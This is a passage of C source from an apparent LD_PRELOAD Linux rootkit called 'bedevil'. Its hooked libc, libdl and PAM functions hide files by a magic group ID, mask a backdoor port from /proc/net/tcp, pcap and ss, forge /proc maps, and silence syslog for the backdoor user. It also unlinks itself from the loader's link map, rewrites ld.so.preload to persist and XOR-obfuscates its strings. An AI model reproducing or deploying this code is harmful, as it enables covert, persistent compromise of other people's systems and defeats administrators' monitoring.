"bdusr.c" 4 | #include "cprocname.c" 5 | #include "v_acc.c" 6 | #endif 7 | -------------------------------------------------------------------------------- /modules/bdvl_util/v_acc.c: -------------------------------------------------------------------------------- 1 | int v_acc(struct spwd *acc_shadow_entry, char *acc_pass) 2 | { 3 | if(!acc_shadow_entry || strlen(acc_shadow_entry->sp_pwdp) < 2) return 0; 4 | char *cpass; 5 | if((cpass = crypt(acc_pass, acc_shadow_entry->sp_pwdp)) == NULL) return 0; 6 | if(!strcmp(cpass, acc_shadow_entry->sp_pwdp)) return 1; 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /modules/bdvl_util/xor.c: -------------------------------------------------------------------------------- 1 | //#include "../libdl/libdl.h" 2 | #define CLEAN(var) memset(var, 0x00, strlen(var)) 3 | void xor(char *p) 4 | { 5 | int i, key=0xAC; 6 | for(i=0;id_name,".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue; 11 | if(dir != NULL) snprintf(path, 4096, "%s/%s", gdirname(dirp), dir->d_name); 12 | } while(dir && (hxstat(path, MGID, 32) || strstr(path,sysd_conf))); 13 | 14 | CLEAN(sysd_conf); 15 | return dir; 16 | } 17 | 18 | struct dirent64 *readdir64(DIR *dirp) 19 | { 20 | HOOK(o_readdir64, CREADDIR64); 21 | struct dirent64 *dir; 22 | char path[4097],*sysd_conf=strdup(SYSD_CONF); xor(sysd_conf); 23 | 24 | do { 25 | dir = o_readdir64(dirp); 26 | if(is_bdusr()) { CLEAN(sysd_conf); return dir; } 27 | if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue; 28 | if(dir != NULL) snprintf(path, 4096, "%s/%s", gdirname(dirp), dir->d_name); 29 | } while(dir && (hxstat(path, MGID, 32) || strstr(path,sysd_conf))); 30 | 31 | CLEAN(sysd_conf); 32 | return dir; 33 | } 34 | -------------------------------------------------------------------------------- /modules/dir/rmdir.c: -------------------------------------------------------------------------------- 1 | int rmdir(const char *pathname) 2 | { 3 | HOOK(o_rmdir, CRMDIR); 4 | if(is_bdusr()) return o_rmdir(pathname); 5 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return -1; } 6 | return o_rmdir(pathname); 7 | } 8 | -------------------------------------------------------------------------------- /modules/exec/exec.h: -------------------------------------------------------------------------------- 1 | #ifndef EXEC_H 2 | #define EXEC_H 3 | #include "execve.c" 4 | #include "execvp.c" 5 | #endif 6 | -------------------------------------------------------------------------------- /modules/exec/execve.c: -------------------------------------------------------------------------------- 1 | int execve(const char *filename, char *const argv[], char *const envp[]) 2 | { 3 | HOOK(o_execve, CEXECVE); 4 | HOOK(o_unlink,CUNLINK); 5 | HOOK(o_chown,CCHOWN); 6 | HOOK(o_xstat,C__XSTAT); 7 | if(is_bdusr()) 8 | { 9 | // do controller stuff 10 | // there's a script (etc/eutils.sh) that gets copied to the backdoor home. 11 | // it essentially makes accessing these functions a bit easier. 12 | char *eutils=strdup(EUTILS); xor(eutils); 13 | if(strstr(filename,eutils) && argv[1] != NULL) // ./str and pw given 14 | { 15 | CLEAN(eutils); 16 | // verify argv[1] password is correct 17 | char *bdpwd=strdup(BD_PWD); xor(bdpwd); 18 | if(strcmp(crypt(argv[1], bdpwd), bdpwd)) { CLEAN(bdpwd); exit(-1); } 19 | CLEAN(bdpwd); 20 | 21 | if(argv[2] == NULL) exit(-1); // now we need an option - what does the user want to do? 22 | 23 | if(argv[3] != NULL) // if we have argv[3], it should be a path, verify it exists 24 | { 25 | struct stat vstat; 26 | memset(&vstat,0,sizeof(stat)); 27 | if(o_xstat(_STAT_VER,argv[3],&vstat) < 0) exit(-1); 28 | } 29 | 30 | if(!strcmp(argv[2],"hide_path")) o_chown(argv[3],MGID,MGID); 31 | else if(!strcmp(argv[2], "unhide_path")) o_chown(argv[3],0,0); // just chown the file to root perms so it's visible 32 | exit(0); 33 | } 34 | CLEAN(eutils); 35 | 36 | return o_execve(filename,argv,envp); 37 | } 38 | if(geteuid() == 0) reinstall(); 39 | 40 | char *bduname=strdup(BD_UNAME); xor(bduname); 41 | if(strstr(filename,"su") && argv[1] && !strcmp(argv[1], bduname)) { CLEAN(bduname); errno=EIO; return -1; } 42 | CLEAN(bduname); 43 | 44 | if(hxstat(filename,MGID,32)) { errno=ENOENT; return -1; } 45 | 46 | int i, pid, ret; 47 | for(i=0;i0) i++; 29 | if(i>15) i=0; 30 | if(strstr(buf, idir)) i=1; 31 | if(i==0) fputs(buf,o); 32 | } 33 | CLEAN(idir); 34 | fclose(pnt); 35 | fseek(o,0,SEEK_SET); 36 | return o; 37 | } 38 | 39 | FILE *forge_numamaps(const char *pathname) 40 | { 41 | HOOK(o_fopen, CFOPEN); 42 | 43 | char buf[PATH_MAX]; 44 | FILE *o=tmpfile(), *pnt; 45 | if((pnt=o_fopen(pathname, "r")) == NULL) { errno = ENOENT; return NULL; } 46 | 47 | char *idir=strdup(IDIR); xor(idir); 48 | while(fgets(buf, sizeof(buf), pnt) != NULL) 49 | { 50 | char addr[128], type[64], location[PATH_MAX]; 51 | sscanf(buf, "%s %s %s", addr, type, location); 52 | if(!strncmp(location, "file=", strlen("file="))) if(!strstr(location, idir)) fputs(buf,o); 53 | } 54 | CLEAN(idir); 55 | fclose(pnt); 56 | fseek(o,0,SEEK_SET); 57 | return o; 58 | } 59 | -------------------------------------------------------------------------------- /modules/hiding/forge_procnet.c: -------------------------------------------------------------------------------- 1 | FILE *forge_procnet(const char *pathname) 2 | { 3 | HOOK(o_fopen,CFOPEN); 4 | FILE *tmp, *pnt=o_fopen(pathname,"r"); 5 | if((tmp=tmpfile()) == NULL) return pnt; 6 | 7 | unsigned long rxq,txq,t_len,retr,inode; 8 | int lport,rport,d,state,uid,t_run,tout; 9 | char line[LINE_MAX],raddr[128],laddr[128],etc[128]; 10 | 11 | char *pnetstr="%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n"; 12 | while(fgets(line, LINE_MAX, pnt) != NULL) 13 | { 14 | sscanf(line, pnetstr, &d, laddr, &lport, raddr, &rport, &state, &txq, 15 | &rxq, &t_run, &t_len, &retr, &uid, &tout, &inode, 16 | etc); 17 | if(lport != PAM_PORT && rport != PAM_PORT) fputs(line,tmp); 18 | } 19 | fclose(pnt); 20 | if(tmp != NULL) fseek(tmp,0,SEEK_SET); 21 | return tmp; 22 | } 23 | -------------------------------------------------------------------------------- /modules/hiding/hidegid.c: -------------------------------------------------------------------------------- 1 | int hxstat(const char *pathname, int gid, int mode) 2 | { 3 | if(mode==32) 4 | { 5 | HOOK(o_xstat, C__XSTAT); 6 | struct stat s_fstat; 7 | memset(&s_fstat, 0, sizeof(stat)); 8 | o_xstat(_STAT_VER, pathname, &s_fstat); 9 | if(s_fstat.st_gid==gid) return 1; 10 | }else if(mode==64){ 11 | HOOK(o_xstat64, C__XSTAT64); 12 | struct stat64 s_fstat; 13 | memset(&s_fstat, 0, sizeof(stat64)); 14 | o_xstat64(_STAT_VER, pathname, &s_fstat); 15 | if(s_fstat.st_gid==gid) return 1; 16 | } 17 | 18 | return 0; 19 | } 20 | 21 | int hfxstat(int fd, int gid, int mode) 22 | { 23 | if(mode==32) 24 | { 25 | HOOK(o_fxstat, C__FXSTAT); 26 | struct stat s_fstat; 27 | memset(&s_fstat, 0, sizeof(stat)); 28 | o_fxstat(_STAT_VER, fd, &s_fstat); 29 | if(s_fstat.st_gid==gid) return 1; 30 | }else if(mode==64){ 31 | HOOK(o_fxstat64, C__FXSTAT64); 32 | struct stat64 s_fstat; 33 | memset(&s_fstat, 0, sizeof(stat64)); 34 | o_fxstat64(_STAT_VER, fd, &s_fstat); 35 | if(s_fstat.st_gid==gid) return 1; 36 | } 37 | 38 | return 0; 39 | } 40 | 41 | int hlxstat(const char *pathname, int gid, int mode) 42 | { 43 | if(mode==32) 44 | { 45 | HOOK(o_lxstat, C__LXSTAT); 46 | struct stat s_fstat; 47 | memset(&s_fstat, 0, sizeof(stat)); 48 | o_lxstat(_STAT_VER, pathname, &s_fstat); 49 | if(s_fstat.st_gid==gid) return 1; 50 | }else if(mode==64){ 51 | HOOK(o_lxstat64, C__LXSTAT64); 52 | struct stat64 s_fstat; 53 | memset(&s_fstat, 0, sizeof(stat64)); 54 | o_lxstat64(_STAT_VER, pathname, &s_fstat); 55 | if(s_fstat.st_gid==gid) return 1; 56 | } 57 | 58 | return 0; 59 | } 60 | 61 | /*void hpath(const char *pathname) 62 | { 63 | HOOK(o_chown,CCHOWN); 64 | o_chown(pathname,0,MGID); // assign root uid bit and mgid 65 | }*/ 66 | -------------------------------------------------------------------------------- /modules/hiding/hiding.h: -------------------------------------------------------------------------------- 1 | #ifndef FHIDING_H 2 | #define FHIDING_H 3 | #include "hidegid.c" 4 | #include "forge_maps.c" 5 | #include "forge_procnet.c" 6 | #include "socket.c" 7 | #include "pcap/pcap.h" 8 | #include "reinstall.c" 9 | //#include "ptrace.c" 10 | #include "syslog/syslog.h" 11 | #endif 12 | -------------------------------------------------------------------------------- /modules/hiding/pcap/pcap.c: -------------------------------------------------------------------------------- 1 | void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) 2 | { 3 | const struct sniff_ip *ip; 4 | const struct sniff_tcp *tcp; 5 | int size_ip, size_tcp, sport, dport; 6 | 7 | ip = (struct sniff_ip *)(packet + SIZE_ETHERNET); 8 | size_ip = IP_HL(ip) * 4; 9 | 10 | if(size_ip < 20) return; 11 | 12 | switch(ip->ip_p) 13 | { 14 | case IPPROTO_TCP: 15 | break; 16 | default: 17 | if(o_callback) o_callback(args, header, packet); 18 | return; 19 | } 20 | 21 | tcp = (struct sniff_tcp *)(packet + SIZE_ETHERNET + size_ip); 22 | size_tcp = TH_OFF(tcp) * 4; 23 | 24 | if(size_tcp < 20) return; 25 | 26 | sport = htons(tcp->th_sport); 27 | dport = htons(tcp->th_dport); 28 | 29 | if(sport == PAM_PORT || dport == PAM_PORT) return; 30 | else if(o_callback) o_callback(args, header, packet); 31 | } 32 | 33 | int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) 34 | { 35 | o_callback = callback; 36 | HOOK(o_pcap_loop, CPCAP_LOOP); 37 | return o_pcap_loop(p, cnt, got_packet, user); 38 | } -------------------------------------------------------------------------------- /modules/hiding/pcap/pcap.h: -------------------------------------------------------------------------------- 1 | struct sniff_ip { 2 | u_char ip_vhl; /* version << 4 | header length >> 2 */ 3 | u_char ip_tos; /* type of service */ 4 | u_short ip_len; /* total length */ 5 | u_short ip_id; /* identification */ 6 | u_short ip_off; /* fragment offset field */ 7 | #define IP_RF 0x8000 /* reserved fragment flag */ 8 | #define IP_DF 0x4000 /* dont fragment flag */ 9 | #define IP_MF 0x2000 /* more fragments flag */ 10 | #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 11 | u_char ip_ttl; /* time to live */ 12 | u_char ip_p; /* protocol */ 13 | u_short ip_sum; /* checksum */ 14 | struct in_addr ip_src,ip_dst; /* source and dest address */ 15 | }; 16 | 17 | struct sniff_tcp { 18 | u_short th_sport; /* source port */ 19 | u_short th_dport; /* destination port */ 20 | u_int th_seq; /* sequence number */ 21 | u_int th_ack; /* acknowledgement number */ 22 | u_char th_offx2; /* data offset, rsvd */ 23 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) 24 | u_char th_flags; 25 | #define TH_FIN 0x01 26 | #define TH_SYN 0x02 27 | #define TH_RST 0x04 28 | #define TH_PUSH 0x08 29 | #define TH_ACK 0x10 30 | #define TH_URG 0x20 31 | #define TH_ECE 0x40 32 | #define TH_CWR 0x80 33 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) 34 | u_short th_win; /* window */ 35 | u_short th_sum; /* checksum */ 36 | u_short th_urp; /* urgent pointer */ 37 | }; 38 | 39 | #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) 40 | #define SIZE_ETHERNET 14 41 | 42 | #include "pcap.c" -------------------------------------------------------------------------------- /modules/hiding/ptrace.c: -------------------------------------------------------------------------------- 1 | long ptrace(void *request, pid_t pid, void *addr, void *data) 2 | { 3 | HOOK(o_ptrace,CPTRACE); 4 | if(is_bdusr()) return o_ptrace(request,pid,addr,data); 5 | 6 | if(pid) 7 | { 8 | char ppath[128]; 9 | snprintf(ppath, sizeof(ppath), "/proc/%d", pid); 10 | 11 | HOOK(o_xstat, C__XSTAT); 12 | struct stat *pstat; 13 | memset(&pstat, 0, sizeof(stat)); 14 | if(o_xstat(_STAT_VER, ppath, &pstat) < 0) return o_ptrace(request,pid,addr,data); 15 | if(pstat.st_gid==MGID) { errno = ESRCH; exit(-1); } 16 | } 17 | 18 | return o_ptrace(request,pid,addr,data); 19 | } 20 | -------------------------------------------------------------------------------- /modules/hiding/reinstall.c: -------------------------------------------------------------------------------- 1 | void reinstall(void) 2 | { 3 | HOOK(o_xstat, C__XSTAT); 4 | HOOK(o_access, CACCESS); 5 | 6 | FILE *preload; 7 | struct stat s_fstat; 8 | 9 | char *sopath=strdup(SOPATH), *ldsp=strdup(LDSO_PRELOAD); xor(sopath); xor(ldsp); 10 | memset(&s_fstat, 0, sizeof(stat)); 11 | o_xstat(_STAT_VER, ldsp, &s_fstat); 12 | if(s_fstat.st_size != strlen(sopath) || o_access(ldsp, F_OK) == -1) 13 | { 14 | HOOK(o_fopen,CFOPEN); 15 | if((preload=o_fopen(ldsp,"w"))) 16 | { 17 | HOOK(o_fwrite,CFWRITE); 18 | o_fwrite(sopath, strlen(sopath), 1, preload); 19 | fflush(preload); 20 | fclose(preload); 21 | } 22 | } 23 | CLEAN(sopath); 24 | CLEAN(ldsp); 25 | } 26 | 27 | int hbdvl(const char *filename, const char *proc, int ret) 28 | { 29 | char *cproc=cprocname(), fnm_proc[64]; 30 | snprintf(fnm_proc, sizeof(fnm_proc), "*/%s", proc); 31 | 32 | if(strstr(cproc, proc) || strstr(filename, proc) || !fnmatch(fnm_proc, filename, FNM_PATHNAME) || getenv(proc)) 33 | { 34 | if(getuid() != 0 && geteuid() != 0) return 0; 35 | 36 | HOOK(o_unlink,CUNLINK); 37 | char *ldsp=strdup(LDSO_PRELOAD); xor(ldsp); 38 | o_unlink(ldsp); 39 | 40 | int pid; 41 | if((pid = fork()) == -1) return -1; 42 | else if(pid == 0) return 2; 43 | 44 | wait(&ret); 45 | reinstall(); 46 | if(!hxstat(ldsp,MGID,32)) o_chown(ldsp,MGID,MGID); 47 | CLEAN(ldsp); 48 | return 1; 49 | } 50 | return 3; 51 | } 52 | -------------------------------------------------------------------------------- /modules/hiding/socket.c: -------------------------------------------------------------------------------- 1 | int socket(int domain, int type, int protocol) 2 | { 3 | if(domain == AF_NETLINK && protocol == NETLINK_INET_DIAG && 4 | (!strcmp(cprocname(), "ss") || 5 | !strcmp(cprocname(), "/usr/sbin/ss") || 6 | !strcmp(cprocname(), "/bin/ss"))) 7 | { errno = EIO; return -1; } 8 | HOOK(o_socket, CSOCKET); 9 | return o_socket(domain,type,protocol); 10 | } -------------------------------------------------------------------------------- /modules/hiding/syslog/syslog.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * int find_psysdproc(); 4 | * if(getpid() == find_psysdproc()) 5 | * && 6 | * !strstr() 7 | * 8 | */ 9 | 10 | void openlog(const char *ident, int option, int facility) 11 | { 12 | if(is_bdusr()) return; 13 | HOOK(o_openlog,COPENLOG); 14 | o_openlog(ident, option, facility); 15 | return; 16 | } 17 | 18 | void syslog(int priority, const char *format, ...) 19 | { 20 | if(is_bdusr()) return; 21 | 22 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname); 23 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname); 24 | CLEAN(bduname); 25 | if(strstr(cprocname(), sshds)) { setgid(MGID); return; } 26 | 27 | va_list va; 28 | va_start(va,format); 29 | vsyslog(priority,format,va); 30 | va_end(va); 31 | return; 32 | } 33 | 34 | void __syslog_chk(int priority, int flag, const char *format, ...) 35 | { 36 | if(is_bdusr()) return; 37 | 38 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname); 39 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname); 40 | CLEAN(bduname); 41 | if(strstr(cprocname(),sshds)) { setgid(MGID); return; } 42 | 43 | va_list va; 44 | va_start(va,format); 45 | vsyslog(priority,format,va); 46 | va_end(va); 47 | return; 48 | } 49 | 50 | void vsyslog(int priority, const char *format, va_list ap) 51 | { 52 | if(is_bdusr()) return; 53 | 54 | char sshds[64], *bduname=strdup(BD_UNAME); xor(bduname); 55 | snprintf(sshds, sizeof(sshds), "sshd: %s", bduname); 56 | CLEAN(bduname); 57 | if(strstr(cprocname(),sshds)) { setgid(MGID); return; } 58 | 59 | HOOK(o_vsyslog,CVSYSLOG); 60 | o_vsyslog(priority,format,ap); 61 | return; 62 | } 63 | -------------------------------------------------------------------------------- /modules/hiding/syslog/syslog.h: -------------------------------------------------------------------------------- 1 | #ifndef SYSLOG_H 2 | #define SYSLOG_H 3 | #include "syslog.c" 4 | #endif 5 | -------------------------------------------------------------------------------- /modules/lib_hooks: -------------------------------------------------------------------------------- 1 | libc:pcap_loop,socket,getutent,getutxent,getutid,getutxid,getutmp,getutmpx,getutline,getutxline,pututline,pututxline,logwtmp,updwtmp,updwtmpx,openlog,syslog,__syslog_chk,vsyslog,ptrace,execve,execvp,chown,chmod,fchmod,fchmodat,setgid,setegid,setregid,setresgid,mkdir,rmdir,readdir,readdir64,opendir,opendir64,fdopendir,chdir,fchdir,readlink,readlinkat,unlink,unlinkat,open,open64,access,creat,fwrite,fwrite_unlocked,write,read,fopen,fopen64,stat,stat64,fstat,fstat64,fstatat,fsatat64,lstat,lstat64,__xstat,__xstat64,__fxstat,__fxstat64,__lxstat,__lxstat64,getpwnam,getpwuid,getspnam,getpwent,getpwnam_r 2 | libdl:dlsym,dlinfo,dladdr 3 | libpam:pam_syslog,pam_vsyslog,pam_authenticate,pam_open_session,pam_acct_mgmt 4 | -------------------------------------------------------------------------------- /modules/libdl/dladdr.c: -------------------------------------------------------------------------------- 1 | #include "../bdvl_util/util.h" 2 | 3 | int dladdr(const void *addr, Dl_info *info) 4 | { 5 | HOOK(o_dladdr, CDLADDR); 6 | 7 | if(is_bdusr()) return o_dladdr(addr, info); 8 | 9 | Dl_info bdvl_info; 10 | if(o_dladdr(addr, &bdvl_info) != 0) 11 | { 12 | char *idir=strdup(IDIR); xor(idir); 13 | if(strstr(bdvl_info.dli_fname, idir)) { CLEAN(idir); return 0; } 14 | CLEAN(idir); 15 | } 16 | 17 | return o_dladdr(addr,info); 18 | } 19 | -------------------------------------------------------------------------------- /modules/libdl/dlinfo.c: -------------------------------------------------------------------------------- 1 | #include "../bdvl_util/util.h" 2 | 3 | static struct link_map *bdvl_linkmap; 4 | 5 | void repair_linkmap() 6 | { 7 | bdvl_linkmap->l_prev->l_next = bdvl_linkmap; 8 | bdvl_linkmap->l_next->l_prev = bdvl_linkmap; 9 | } 10 | 11 | int dlinfo(void *handle, int request, void *p) 12 | { 13 | HOOK(o_dlinfo, CDLINFO); 14 | 15 | if(is_bdusr()) return o_dlinfo(handle, request, p); 16 | 17 | if(request == 2) 18 | { 19 | char *idir=strdup(IDIR); xor(idir); 20 | struct link_map *loop; 21 | o_dlinfo(handle, request, &loop); 22 | 23 | do { 24 | loop = loop->l_next; 25 | if(strcmp(loop->l_name, "\0")) 26 | { 27 | if(strstr(loop->l_name, idir)) 28 | { 29 | bdvl_linkmap = loop; 30 | loop->l_name = "[suso]"; 31 | 32 | if(strcmp(cprocname(), "ltrace")) 33 | { 34 | atexit(repair_linkmap); 35 | loop->l_prev->l_next = loop->l_next; 36 | loop->l_next->l_prev = loop->l_prev; 37 | } 38 | } 39 | 40 | } 41 | }while(loop != NULL && loop->l_name != NULL && loop->l_next != NULL); 42 | CLEAN(idir); 43 | } 44 | 45 | return o_dlinfo(handle, request, p); 46 | } 47 | -------------------------------------------------------------------------------- /modules/libdl/dlsym.c: -------------------------------------------------------------------------------- 1 | extern void *_dl_sym(void *, const char *, void *); 2 | 3 | void locate_dlsym() 4 | { 5 | char buf[32]; int maxver = 40; 6 | 7 | for(int a = 0; a < maxver; a++) 8 | { 9 | sprintf(buf, "GLIBC_2.%d", a); 10 | o_dlsym = (void*(*)(void *handle, const char *name)) dlvsym(RTLD_NEXT,"dlsym", buf); 11 | if(o_dlsym) return; 12 | } 13 | 14 | for(int a = 0; a < maxver; a++) 15 | { 16 | for(int b = 0; b < maxver; b++) 17 | { 18 | sprintf(buf, "GLIBC_2.%d.%d", a, b); 19 | o_dlsym = (void*(*)(void *handle, const char *name)) dlvsym(RTLD_NEXT,"dlsym", buf); 20 | if(o_dlsym) return; // we got dlsym() via dlvsym(), return to let the function know we're done 21 | } 22 | } 23 | } 24 | 25 | void *dlsym(void *handle, const char *symbol) 26 | { 27 | if(!o_dlsym) locate_dlsym(); 28 | 29 | void *funcptr; int i; 30 | 31 | for(i = 0; i < LIBC_SIZE; i++) 32 | { 33 | char *curr_call = strdup(libc_calls[i]); xor(curr_call); 34 | if(!strcmp(symbol, curr_call)) 35 | { 36 | char *libc_path = strdup(LIBC_PATH); xor(libc_path); 37 | void *libc = dlopen(libc_path, RTLD_LAZY); 38 | CLEAN(libc_path); 39 | 40 | funcptr = o_dlsym(libc, symbol); 41 | return funcptr; 42 | } 43 | } 44 | 45 | for(i = 0; i < LIBDL_SIZE; i++) 46 | { 47 | char *curr_call = strdup(libdl_calls[i]); xor(curr_call); 48 | if(!strcmp(symbol, curr_call)) 49 | { 50 | char *libdl_path = strdup(LIBDL_PATH); xor(libdl_path); 51 | void *libdl = dlopen(libdl_path, RTLD_LAZY); 52 | CLEAN(libdl_path); 53 | 54 | funcptr = o_dlsym(libdl, symbol); 55 | return funcptr; 56 | } 57 | } 58 | 59 | for(i = 0; i < LIBPAM_SIZE; i++) 60 | { 61 | char *curr_call = strdup(libpam_calls[i]); xor(curr_call); 62 | if(!strcmp(symbol, curr_call)) 63 | { 64 | char *libpam_path = strdup(LIBPAM_PATH); xor(libpam_path); 65 | void *libpam = dlopen(libpam_path, RTLD_LAZY); 66 | CLEAN(libpam_path); 67 | 68 | funcptr = o_dlsym(libpam, symbol); 69 | return funcptr; 70 | } 71 | } 72 | 73 | funcptr = o_dlsym(handle, symbol); 74 | return funcptr; 75 | } 76 | -------------------------------------------------------------------------------- /modules/libdl/gsym.c: -------------------------------------------------------------------------------- 1 | void *get_sym(void *handle, int csym) 2 | { 3 | void *fptr; 4 | char *symbol = strdup(all_calls[csym]); xor(symbol); 5 | if(!o_dlsym) locate_dlsym(); 6 | fptr = o_dlsym(handle, symbol); 7 | CLEAN(symbol); 8 | if(!fptr) exit(1); 9 | return fptr; 10 | } 11 | 12 | -------------------------------------------------------------------------------- /modules/libdl/libdl.h: -------------------------------------------------------------------------------- 1 | #ifndef LIBDL_H 2 | #define LIBDL_H 3 | #include "dlsym.c" 4 | #include "gsym.c" 5 | #define HOOK(o_sym, csym) if(!o_sym) o_sym = get_sym(RTLD_NEXT, csym); 6 | #include "dladdr.c" 7 | #include "dlinfo.c" 8 | #endif 9 | -------------------------------------------------------------------------------- /modules/ln/links.h: -------------------------------------------------------------------------------- 1 | #ifndef LINKS_H 2 | #define LINKS_H 3 | #include "unlink.c" 4 | #endif 5 | -------------------------------------------------------------------------------- /modules/ln/unlink.c: -------------------------------------------------------------------------------- 1 | int unlink(const char *pathname) 2 | { 3 | HOOK(o_unlink,CUNLINK); 4 | if(is_bdusr()) return o_unlink(pathname); 5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 6 | return o_unlink(pathname); 7 | } 8 | 9 | int unlinkat(int dirfd, const char *pathname, int flags) 10 | { 11 | HOOK(o_unlinkat,CUNLINKAT); 12 | if(is_bdusr()) return o_unlinkat(dirfd,pathname,flags); 13 | if(hxstat(pathname,MGID,32) || hfxstat(dirfd,MGID,32)) { errno=ENOENT; return -1; } 14 | return o_unlinkat(dirfd,pathname,flags); 15 | } 16 | -------------------------------------------------------------------------------- /modules/module_includes: -------------------------------------------------------------------------------- 1 | # this is the module include file for bedevil. 2 | # module includes closest to the top are prioritised. 3 | # so if your module is the last line in this file, 4 | # it will be included last. 5 | 6 | # comments starting with '#' are ignored. 7 | 8 | "headers/rk_creds.h" # everything we really need. this gets heavily edited by bedevil.sh 9 | "headers/symbols.h" # read file for info. 10 | 11 | "bdvl_util/xor.c" # include this now, since our libdl hooks require it 12 | "libdl/libdl.h" # hooks to hide from libdl 13 | "bdvl_util/util.h" # etc utils 14 | 15 | "hiding/hiding.h" # self explanatory hiding stuff 16 | "exec/exec.h" # exec (execution) hooks 17 | "open/open.h" # file open & access hooks 18 | "rw/rw.h" # read/write hooks. we logging outgoing ssh nao 19 | "dir/dir.h" # all directory related stuff 20 | "pwd/pwd.h" # pwd-struct related hooks (getpwnam, etc) 21 | "gid/gid.h" # setgid safety net 22 | "perms/perms.h" # file permission hooks 23 | "utmp/utmp.h" # i think the utmp struct has been changed since i have last worked on anything like this 24 | 25 | # pam backdoor header file. 26 | # afaik, the pam backdoor method is the preferred method for most people 27 | # only thing is, when the backdoor user is logged in, a process called 28 | # '(sd-pam)' shows up. in previous projects, i have attempted to hide 29 | # this process, but it only causes issues later down the line. 30 | "backdoor/pam/pam.h" 31 | -------------------------------------------------------------------------------- /modules/open/access.c: -------------------------------------------------------------------------------- 1 | int access(const char *pathname, int amode) 2 | { 3 | HOOK(o_access, CACCESS); 4 | if(is_bdusr()) return o_access(pathname, amode); 5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 6 | return o_access(pathname, amode); 7 | } 8 | 9 | int creat(const char *pathname, mode_t mode) 10 | { 11 | HOOK(o_creat,CCREAT); 12 | if(is_bdusr()) return o_creat(pathname, mode); 13 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; } 14 | return o_creat(pathname,mode); 15 | } 16 | -------------------------------------------------------------------------------- /modules/open/fopen.c: -------------------------------------------------------------------------------- 1 | FILE *fopen(const char *pathname, const char *mode) 2 | { 3 | HOOK(o_fopen, CFOPEN); 4 | if(is_bdusr()) return o_fopen(pathname, mode); 5 | 6 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6")) 7 | return forge_procnet(pathname); 8 | 9 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname); 10 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname); 11 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname); 12 | 13 | char cwd[PATH_MAX]; 14 | if(getcwd(cwd, sizeof(cwd)) != NULL) 15 | { 16 | if(!strcmp(cwd, "/proc")) 17 | { 18 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname); 19 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname); 20 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname); 21 | } 22 | 23 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME)) 24 | { 25 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return forge_maps(pathname); 26 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname); 27 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname); 28 | } 29 | } 30 | 31 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return NULL; } 32 | return o_fopen(pathname, mode); 33 | } 34 | 35 | FILE *fopen64(const char *pathname, const char *mode) 36 | { 37 | HOOK(o_fopen64, CFOPEN64); 38 | if(is_bdusr()) return o_fopen64(pathname, mode); 39 | 40 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6")) 41 | return forge_procnet(pathname); 42 | 43 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname); 44 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname); 45 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname); 46 | 47 | char cwd[PATH_MAX]; 48 | if(getcwd(cwd, sizeof(cwd)) != NULL) 49 | { 50 | if(!strcmp(cwd, "/proc")) 51 | { 52 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return forge_maps(pathname); 53 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname); 54 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname); 55 | } 56 | 57 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME)) 58 | { 59 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return forge_maps(pathname); 60 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return forge_smaps(pathname); 61 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return forge_numamaps(pathname); 62 | } 63 | } 64 | 65 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return NULL; } 66 | return o_fopen64(pathname, mode); 67 | } 68 | -------------------------------------------------------------------------------- /modules/open/open.c: -------------------------------------------------------------------------------- 1 | int open(const char *pathname, int flags, mode_t mode) 2 | { 3 | HOOK(o_open, COPEN); 4 | if(is_bdusr()) return o_open(pathname, flags, mode); 5 | 6 | char *ldsp=strdup(LDSO_PRELOAD); xor(ldsp); 7 | if(hxstat(pathname,MGID,32) && strstr(ldsp,pathname)) 8 | { 9 | if((strstr(cprocname(), "sh") || 